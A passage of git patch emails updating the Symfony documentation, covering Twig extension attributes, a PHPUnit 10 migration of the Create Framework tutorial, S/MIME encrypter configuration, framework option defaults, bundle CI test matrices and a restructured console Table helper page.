 them) performance is not affected. However, if extensions define lots of complex

From a657538730c00bdf0ad8cbb6c87dfe5adbc67802 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Apr 2025 13:43:06 +0200
Subject: [PATCH 5588/5766] Tweaks

---
 quick_tour/the_architecture.rst |  2 +-
 reference/attributes.rst        |  1 +
 templates.rst                   | 27 +++++++++++++++------------
 3 files changed, 17 insertions(+), 13 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 9f76dac3a23..fd7781c4944 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -191,7 +191,7 @@ After creating just *one* file, you can use this immediately:
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
     
-How does this work? Symfony notices that your class uses a Twig attribute
+How does this work? Symfony notices that your class uses the ``#[AsTwigFilter]`` attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class
 (or implement an interface). Symfony takes care of the rest.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 7878446351c..eb09f4aa6bc 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -125,6 +125,7 @@ Twig
 * :ref:`Template <templates-template-attribute>`
 * :ref:`AsTwigFilter <templates-twig-filter-attribute>`
 * :ref:`AsTwigFunction <templates-twig-function-attribute>`
+* ``AsTwigTest``
 
 Symfony UX
 ~~~~~~~~~~
diff --git a/templates.rst b/templates.rst
index bad63550786..530f98fcd5d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1555,8 +1555,8 @@ as currency:
 
 .. _templates-twig-filter-attribute:
 
-Create a class with a method that contains the filter logic, then add
-the ``#[AsTwigFilter]`` attribute to define the name and options of
+Create a regular PHP class with a method that contains the filter logic. Then,
+add the ``#[AsTwigFilter]`` attribute to define the name and options of
 the Twig filter::
 
     // src/Twig/AppExtension.php
@@ -1602,13 +1602,15 @@ If you want to create a function instead of a filter, use the
 
 .. versionadded:: 7.3
 
-    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]`` attributes was introduced in Symfony 7.3.
-    Previously, you had to extend the ``AbstractExtension`` class, and override the
-    ``getFilters()`` and ``getFunctions()`` methods.
+    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]``
+    attributes was introduced in Symfony 7.3. Previously, you had to extend the
+    ``AbstractExtension`` class, and override the ``getFilters()`` and ``getFunctions()``
+    methods.
 
-When using autoconfiguration, the tag ``twig.attribute_extension`` is added automatically
-when a Twig attribute is used on a method of a class. Otherwise, when autoconfiguration is not enabled,
-it needs to be added in the service definition.
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+the :ref:`service autoconfiguration <services-autoconfigure>` feature will enable
+this class as a Twig extension. Otherwise, you need to define a service manually
+and :doc:`tag it </service_container/tags>` with the ``twig.attribute_extension`` tag.
 
 Register an Extension as a Service
 ..................................
@@ -1633,10 +1635,11 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When using attributes to extend Twig, the services are initialized only when
-the functions or filters are used to render the template. But in case you use the
-classic approach by extending the ``AbstractExtension`` class, Twig initializes all the extensions before
-rendering any template, even if the extension is not used in the template.
+When :ref:`using attributes to extend Twig <templates-twig-filter-attribute>`,
+the **Twig extensions are already lazy-loaded** and you don't have to do anything
+else. However, if your Twig extensions follow the **legacy approach** of extending
+the ``AbstractExtension`` class, Twig initializes all the extensions before
+rendering any template, even if they are not used.
 
 If extensions don't define dependencies (i.e. if you don't inject services in
 them) performance is not affected. However, if extensions define lots of complex

From 3ae4fec5293e8c0bd2a80f95c69a389e8e38ce4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Apr 2025 13:45:14 +0200
Subject: [PATCH 5589/5766] Remove some unneeded extra space

---
 quick_tour/the_architecture.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index fd7781c4944..3b66570b3d3 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -190,7 +190,7 @@ After creating just *one* file, you can use this immediately:
     {# templates/default/index.html.twig #}
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
-    
+
 How does this work? Symfony notices that your class uses the ``#[AsTwigFilter]`` attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class

From 8bbe446aaf5dcd6e0f197590f8d48fa0e73888bc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 13:46:45 +0200
Subject: [PATCH 5590/5766] Fix setParameter for RouteCollection in Create
 Framework tutorial

---
 create_framework/dependency_injection.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index de3c4e11e4e..9b6fb1299d2 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -227,16 +227,16 @@ object::
     $container->setParameter('charset', 'UTF-8');
 
 Instead of relying on the convention that the routes are defined by the
-``$routes`` variables, let's use a parameter again::
+``$routes`` variables, let's use a reference::
 
     // ...
     $container->register('matcher', Routing\Matcher\UrlMatcher::class)
-        ->setArguments(['%routes%', new Reference('context')])
+        ->setArguments([new Reference('routes'), new Reference('context')])
     ;
 
 And the related change in the front controller::
 
-    $container->setParameter('routes', include __DIR__.'/../src/app.php');
+    $container->set('routes', $routes);
 
 We have barely scratched the surface of what you can do with the
 container: from class names as parameters, to overriding existing object

From cc8977da58f96558e64a5987d78b4e65fb98cba4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 14:27:07 +0200
Subject: [PATCH 5591/5766] Use phpunit 10 in Create Framework tutorial

---
 create_framework/unit_testing.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 32c97a03846..f935a024b20 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit:^9.6
+    $ composer require --dev phpunit/phpunit:^10.0
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,16 +21,16 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/10.0/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
-        <coverage processUncoveredFiles="true">
+        <source>
             <include>
                 <directory suffix=".php">./src</directory>
             </include>
-        </coverage>
+        </source>
 
         <testsuites>
             <testsuite name="Test Suite">
@@ -103,12 +103,12 @@ We are now ready to write our first test::
             $matcher
                 ->expects($this->once())
                 ->method('match')
-                ->will($this->throwException($exception))
+                ->willThrowException($exception)
             ;
             $matcher
                 ->expects($this->once())
                 ->method('getContext')
-                ->will($this->returnValue($this->createMock(Routing\RequestContext::class)))
+                ->willReturn($this->createMock(Routing\RequestContext::class))
             ;
             $controllerResolver = $this->createMock(ControllerResolverInterface::class);
             $argumentResolver = $this->createMock(ArgumentResolverInterface::class);
@@ -161,16 +161,16 @@ Response::
         $matcher
             ->expects($this->once())
             ->method('match')
-            ->will($this->returnValue([
+            ->willReturn([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
                 '_controller' => [new LeapYearController(), 'index'],
-            ]))
+            ])
         ;
         $matcher
             ->expects($this->once())
             ->method('getContext')
-            ->will($this->returnValue($this->createMock(Routing\RequestContext::class)))
+            ->willReturn($this->createMock(Routing\RequestContext::class))
         ;
         $controllerResolver = new ControllerResolver();
         $argumentResolver = new ArgumentResolver();
@@ -194,7 +194,7 @@ coverage feature (you need to enable `XDebug`_ first):
 
     $ ./vendor/bin/phpunit --coverage-html=cov/
 
-Open ``example.com/cov/src/Simplex/Framework.php.html`` in a browser and check
+Open ``example.com/cov/Simplex/Framework.php.html`` in a browser and check
 that all the lines for the Framework class are green (it means that they have
 been visited when the tests were executed).
 
@@ -212,6 +212,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/9.6/
-.. _`test doubles`: https://docs.phpunit.de/en/9.6/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/10.0/
+.. _`test doubles`: https://docs.phpunit.de/en/10.0/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From c6a7fe6101319a3d2167013f46aa9bda56de5bc3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 May 2025 14:21:38 +0200
Subject: [PATCH 5592/5766] [Mailer][Mime] Refactor S/MIME encryption handling
 in SMimeEncryptionListener

---
 mailer.rst | 31 ++++++++++++++++++++++++++++---
 1 file changed, 28 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d368048aec8..a562263f24c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1532,7 +1532,7 @@ encrypter that automatically applies to all outgoing messages:
         framework:
             mailer:
                 smime_encrypter:
-                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+                    repository: app.my_smime_encrypter
 
     .. code-block:: xml
 
@@ -1549,7 +1549,7 @@ encrypter that automatically applies to all outgoing messages:
             <framework:config>
                 <framework:mailer>
                     <framework:smime-encrypter>
-                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                        <framework:repository>app.my_smime_encrypter</framework:repository>
                     </framework:smime-encrypter>
                 </framework:mailer>
             </framework:config>
@@ -1563,10 +1563,35 @@ encrypter that automatically applies to all outgoing messages:
         return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer->smimeEncrypter()
-                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+                    ->repository('app.my_smime_encrypter')
             ;
         };
 
+The ``repository`` option must be a service ID that implements
+:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`::
+
+    namespace App\Security;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\Mailer\EventListener\SmimeCertificateRepositoryInterface;
+
+    class LocalFileCertificateRepository implements SmimeCertificateRepositoryInterface
+    {
+        public function __construct(
+            #[Autowire(param: 'kernel.project_dir')]
+            private readonly string $projectDir
+        ){}
+
+        public function findCertificatePathFor(string $email): ?string
+        {
+            $hash = hash('sha256', strtolower(trim($email)));
+            $path = sprintf('%s/storage/%s.crt', $this->projectDir, $hash);
+
+            return file_exists($path) ? $path : null;
+        }
+    }
+
+
 .. versionadded:: 7.3
 
     Global message encryption configuration was introduced in Symfony 7.3.

From 454536494fc670d15c38df55290d76246cad6798 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Mon, 5 May 2025 09:16:56 +0200
Subject: [PATCH 5593/5766] fix default value for the "collect_serializer_data"
 option

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 56a7dfe54b1..b9ce997e128 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2354,7 +2354,7 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
 collect_serializer_data
 .......................
 
-**type**: ``boolean`` **default**: ``true``
+**type**: ``boolean`` **default**: ``false``
 
 When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.

From 56b6e317bbccd05c663e082af0c1a39d1b71819c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 13:41:26 +0200
Subject: [PATCH 5594/5766] Update Create Framework tutorial

---
 create_framework/dependency_injection.rst            | 2 +-
 create_framework/event_dispatcher.rst                | 4 ++--
 create_framework/http_foundation.rst                 | 2 +-
 create_framework/http_kernel_controller_resolver.rst | 9 ---------
 create_framework/http_kernel_httpkernel_class.rst    | 1 -
 5 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index de3c4e11e4e..59b1275fcd4 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -10,7 +10,6 @@ to it::
     namespace Simplex;
 
     use Symfony\Component\EventDispatcher\EventDispatcher;
-    use Symfony\Component\HttpFoundation;
     use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
@@ -199,6 +198,7 @@ Now, here is how you can register a custom listener in the front controller::
 
     // ...
     use Simplex\StringResponseListener;
+    use Symfony\Component\DependencyInjection\Reference;
 
     $container->register('listener.string_response', StringResponseListener::class);
     $container->getDefinition('dispatcher')
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 650e4c7554e..9a3a48942ac 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -121,7 +121,7 @@ the registration of a listener for the ``response`` event::
         $response = $event->getResponse();
 
         if ($response->isRedirection()
-            || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html'))
+            || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type'), 'html'))
             || 'html' !== $event->getRequest()->getRequestFormat()
         ) {
             return;
@@ -200,7 +200,7 @@ Let's refactor the code a bit by moving the Google listener to its own class::
             $response = $event->getResponse();
 
             if ($response->isRedirection()
-                || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html'))
+                || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type'), 'html'))
                 || 'html' !== $event->getRequest()->getRequestFormat()
             ) {
                 return;
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 219119164b4..71146b1785c 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -189,7 +189,7 @@ fingertips thanks to a nice and simple API::
     // retrieves a COOKIE value
     $request->cookies->get('PHPSESSID');
 
-    // retrieves a HTTP request header, with normalized, lowercase keys
+    // retrieves an HTTP request header, with normalized, lowercase keys
     $request->headers->get('host');
     $request->headers->get('content-type');
 
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index 1c2857c9ed9..6c7e469da27 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -165,15 +165,6 @@ Let's conclude with the new version of our framework::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    function render_template(Request $request): Response
-    {
-        extract($request->attributes->all(), EXTR_SKIP);
-        ob_start();
-        include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
-
-        return new Response(ob_get_clean());
-    }
-
     $request = Request::createFromGlobals();
     $routes = include __DIR__.'/../src/app.php';
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fa673f9ba57..05d9ad6d93e 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -39,7 +39,6 @@ And the new front controller::
     use Symfony\Component\EventDispatcher\EventDispatcher;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 

From ca92b574d5ecab33d3d258dfd607511c39f36c54 Mon Sep 17 00:00:00 2001
From: Ruben Petrosjan <rubenann@yahoo.com>
Date: Wed, 2 Apr 2025 14:55:27 +0200
Subject: [PATCH 5595/5766] Update framework.rst

Docs correction
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2274addf1aa..d8e59bb8da2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -128,7 +128,7 @@ and public.
 allow_reload
 ............
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
 Specifies whether the client can force a cache reload by including a
 Cache-Control "no-cache" directive in the request. Set it to ``true``
@@ -137,7 +137,7 @@ for compliance with RFC 2616. (default: false)
 allow_revalidate
 ................
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
 Specifies whether the client can force a cache revalidate by including a
 Cache-Control "max-age=0" directive in the request. Set it to ``true``

From 50287214427bad636b56e1644ef19e9f5ab50155 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 13:33:32 +0200
Subject: [PATCH 5596/5766] [Reference] Update the default values of some
 options

---
 reference/configuration/framework.rst | 28 +++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d8e59bb8da2..e12c321b1fa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -86,32 +86,32 @@ trace_level
 
 For 'short', a concise trace of the main request will be added as an HTTP header.
 'full' will add traces for all requests (including ESI subrequests).
-(default: 'full' if in debug; 'none' otherwise)
+(default: ``'full'`` if in debug; ``'none'`` otherwise)
 
 trace_header
 ............
 
-**type**: ``string``
+**type**: ``string`` **default**: ``'X-Symfony-Cache'``
 
-Header name to use for traces. (default: X-Symfony-Cache)
+Header name to use for traces.
 
 default_ttl
 ...........
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``0``
 
 The number of seconds that a cache entry should be considered fresh when no
 explicit freshness information is provided in a response. Explicit
-Cache-Control or Expires headers override this value. (default: 0)
+Cache-Control or Expires headers override this value.
 
 private_headers
 ...............
 
-**type**: ``array``
+**type**: ``array``  **default**: ``['Authorization', 'Cookie']``
 
 Set of request headers that trigger "private" cache-control behavior on responses
 that don't explicitly state whether the response is public or private via a
-Cache-Control directive. (default: Authorization and Cookie)
+Cache-Control directive.
 
 skip_response_headers
 .....................
@@ -132,7 +132,7 @@ allow_reload
 
 Specifies whether the client can force a cache reload by including a
 Cache-Control "no-cache" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+for compliance with RFC 2616.
 
 allow_revalidate
 ................
@@ -141,27 +141,27 @@ allow_revalidate
 
 Specifies whether the client can force a cache revalidate by including a
 Cache-Control "max-age=0" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+for compliance with RFC 2616.
 
 stale_while_revalidate
 ......................
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``2``
 
 Specifies the default number of seconds (the granularity is the second as the
 Response TTL precision is a second) during which the cache can immediately return
-a stale response while it revalidates it in the background (default: 2).
+a stale response while it revalidates it in the background.
 This setting is overridden by the stale-while-revalidate HTTP Cache-Control
 extension (see RFC 5861).
 
 stale_if_error
 ..............
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``60``
 
 Specifies the default number of seconds (the granularity is the second) during
-which the cache can serve a stale response when an error is encountered
-(default: 60). This setting is overridden by the stale-if-error HTTP
+which the cache can serve a stale response when an error is encountered.
+This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
 terminate_on_cache_hit

From e66bd632014d4a11cce7b8e8e13c700fd63671b1 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 5 May 2025 10:15:42 -0400
Subject: [PATCH 5597/5766] remove reference to Travis CI (no longer free)

On a related note, the test matrix is old, referencing Symfony 4.  But I'm not sure of the best way to rework this.
---
 bundles/best_practices.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 37dc386b8e4..f04a557393c 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -195,8 +195,7 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects, like `GitHub Actions`_
-and `Travis CI`_.
+providing this feature for free for open source projects, like `GitHub Actions`_.
 
 A bundle should at least test:
 

From 347989eaca7d1f87cc7d2c5182cfa98fd691fa4d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:01:01 +0200
Subject: [PATCH 5598/5766] Minor tweaks

---
 bundles/best_practices.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f04a557393c..a588e8bb2fb 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -201,18 +201,18 @@ A bundle should at least test:
 
 * The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
 * The supported PHP versions;
-* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
+* All supported major Symfony versions (e.g. both ``6.4`` and ``7.x`` if
   support is claimed for both).
 
-Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
+Thus, a bundle supporting PHP 7.4, 8.3 and 8.4, and Symfony 6.4 and 7.x should
 have at least this test matrix:
 
 ===========  ===============  ===================
 PHP version  Symfony version  Composer flags
 ===========  ===============  ===================
-7.3          ``4.*``          ``--prefer-lowest``
-7.4          ``5.*``
-8.0          ``5.*``
+7.4          ``6.4``          ``--prefer-lowest``
+8.3          ``7.*``
+8.4          ``7.*``
 ===========  ===============  ===================
 
 .. tip::
@@ -232,10 +232,10 @@ with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 
-    # this requires Symfony 5.x for all Symfony packages
-    export SYMFONY_REQUIRE=5.*
+    # this requires Symfony 6.x for all Symfony packages
+    export SYMFONY_REQUIRE=6.*
     # alternatively you can run this command to update composer.json config
-    # composer config extra.symfony.require "5.*"
+    # composer config extra.symfony.require "6.*"
 
     # install Symfony Flex in the CI environment
     composer global config --no-plugins allow-plugins.symfony/flex true
@@ -567,4 +567,3 @@ Learn more
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
-.. _`Travis CI`: https://docs.travis-ci.com/

From db23f1f95da99aa5ee5fae2f25a053f580bb7e1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:07:54 +0200
Subject: [PATCH 5599/5766] Update some Symfony versions in bundle's best
 practices article

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a588e8bb2fb..023b58af162 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -232,10 +232,10 @@ with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 
-    # this requires Symfony 6.x for all Symfony packages
-    export SYMFONY_REQUIRE=6.*
+    # this requires Symfony 7.x for all Symfony packages
+    export SYMFONY_REQUIRE=7.*
     # alternatively you can run this command to update composer.json config
-    # composer config extra.symfony.require "6.*"
+    # composer config extra.symfony.require "7.*"
 
     # install Symfony Flex in the CI environment
     composer global config --no-plugins allow-plugins.symfony/flex true

From 538506c41260a974bad0131f016dc640fa4baeab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:20:21 +0200
Subject: [PATCH 5600/5766] [Mercure] Explain the reason for --no-tls

---
 mercure.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index c2aa068167d..ed89fe034f7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -73,7 +73,8 @@ Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-you must start it with the ``--no-tls`` option.
+you must start it with the ``--no-tls`` option to prevent mixed content and
+invalid TLS certificate issues:
 
 .. code-block:: terminal
 

From b4ac70183d83714e96331f1a6455f766a0ea2ca1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 16:26:02 +0200
Subject: [PATCH 5601/5766] [Console] Update the table helper page

---
 components/console/helpers/table.rst | 99 ++++++++++++++++++----------
 1 file changed, 63 insertions(+), 36 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 9a96ebfa29e..6d48d92a98a 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -1,23 +1,11 @@
-Table
-=====
+Table Helper
+============
 
-When building a console application it may be useful to display tabular data:
-
-.. code-block:: terminal
-
-    +---------------+--------------------------+------------------+
-    | ISBN          | Title                    | Author           |
-    +---------------+--------------------------+------------------+
-    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
-    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
-    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
-    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
-    +---------------+--------------------------+------------------+
-
-.. note::
-
-    As an alternative, consider using the
-    :ref:`SymfonyStyle <symfony-style-content>` to display a table.
+When building console applications, Symfony provides several utilities for
+rendering tabular data. The simplest option is to use the table methods from
+:ref:`Symfony Style <symfony-style-content>`. While convenient, this approach
+doesn't allow customization of the table's design. For more control and advanced
+features, use the ``Table`` console helper explained in this article.
 
 To display a table, use :class:`Symfony\\Component\\Console\\Helper\\Table`,
 set the headers, set the rows and then render the table::
@@ -48,6 +36,22 @@ set the headers, set the rows and then render the table::
         }
     }
 
+This outputs:
+
+.. code-block:: terminal
+
+    +---------------+--------------------------+------------------+
+    | ISBN          | Title                    | Author           |
+    +---------------+--------------------------+------------------+
+    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
+    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
+    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
+    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
+    +---------------+--------------------------+------------------+
+
+Adding Table Separators
+-----------------------
+
 You can add a table separator anywhere in the output by passing an instance of
 :class:`Symfony\\Component\\Console\\Helper\\TableSeparator` as a row::
 
@@ -61,6 +65,8 @@ You can add a table separator anywhere in the output by passing an instance of
         ['80-902734-1-6', 'And Then There Were None', 'Agatha Christie'],
     ]);
 
+This outputs:
+
 .. code-block:: terminal
 
     +---------------+--------------------------+------------------+
@@ -73,6 +79,9 @@ You can add a table separator anywhere in the output by passing an instance of
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------------------------+------------------+
 
+Adding Table Titles
+-------------------
+
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
@@ -80,6 +89,8 @@ You can optionally display titles at the top and the bottom of the table::
     $table->setFooterTitle('Page 1/2');
     $table->render();
 
+This outputs:
+
 .. code-block:: terminal
 
     +---------------+----------- Books --------+------------------+
@@ -92,6 +103,9 @@ You can optionally display titles at the top and the bottom of the table::
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
     +---------------+--------- Page 1/2 -------+------------------+
 
+Setting the Column Widths Explicitly
+------------------------------------
+
 By default, the width of the columns is calculated automatically based on their
 contents. Use the :method:`Symfony\\Component\\Console\\Helper\\Table::setColumnWidths`
 method to set the column widths explicitly::
@@ -114,7 +128,7 @@ argument is the column width::
     $table->setColumnWidth(2, 30);
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -141,7 +155,7 @@ If you prefer to wrap long contents in multiple rows, use the
     $table->setColumnMaxWidth(1, 10);
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -154,6 +168,9 @@ The output of this command will be:
     |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
+Rendering Vertical Tables
+-------------------------
+
 By default, table contents are displayed horizontally. You can change this behavior
 via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method::
 
@@ -161,7 +178,7 @@ via the :method:`Symfony\\Component\\Console\\Helper\\Table::setVertical` method
     $table->setVertical();
     $table->render();
 
-The output of this command will be:
+This outputs:
 
 .. code-block:: terminal
 
@@ -179,17 +196,24 @@ The output of this command will be:
 
     Support for vertical rendering was introduced in Symfony 6.1.
 
+Customizing the Table Style
+---------------------------
+
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 
-    // same as calling nothing
+    // this 'default' style is the one used when no style is specified
     $table->setStyle('default');
 
-    // changes the default style to compact
+Built-in Table Styles
+~~~~~~~~~~~~~~~~~~~~~
+
+**Compact**::
+
     $table->setStyle('compact');
     $table->render();
 
-This code results in:
+This outputs:
 
 .. code-block:: terminal
 
@@ -199,12 +223,12 @@ This code results in:
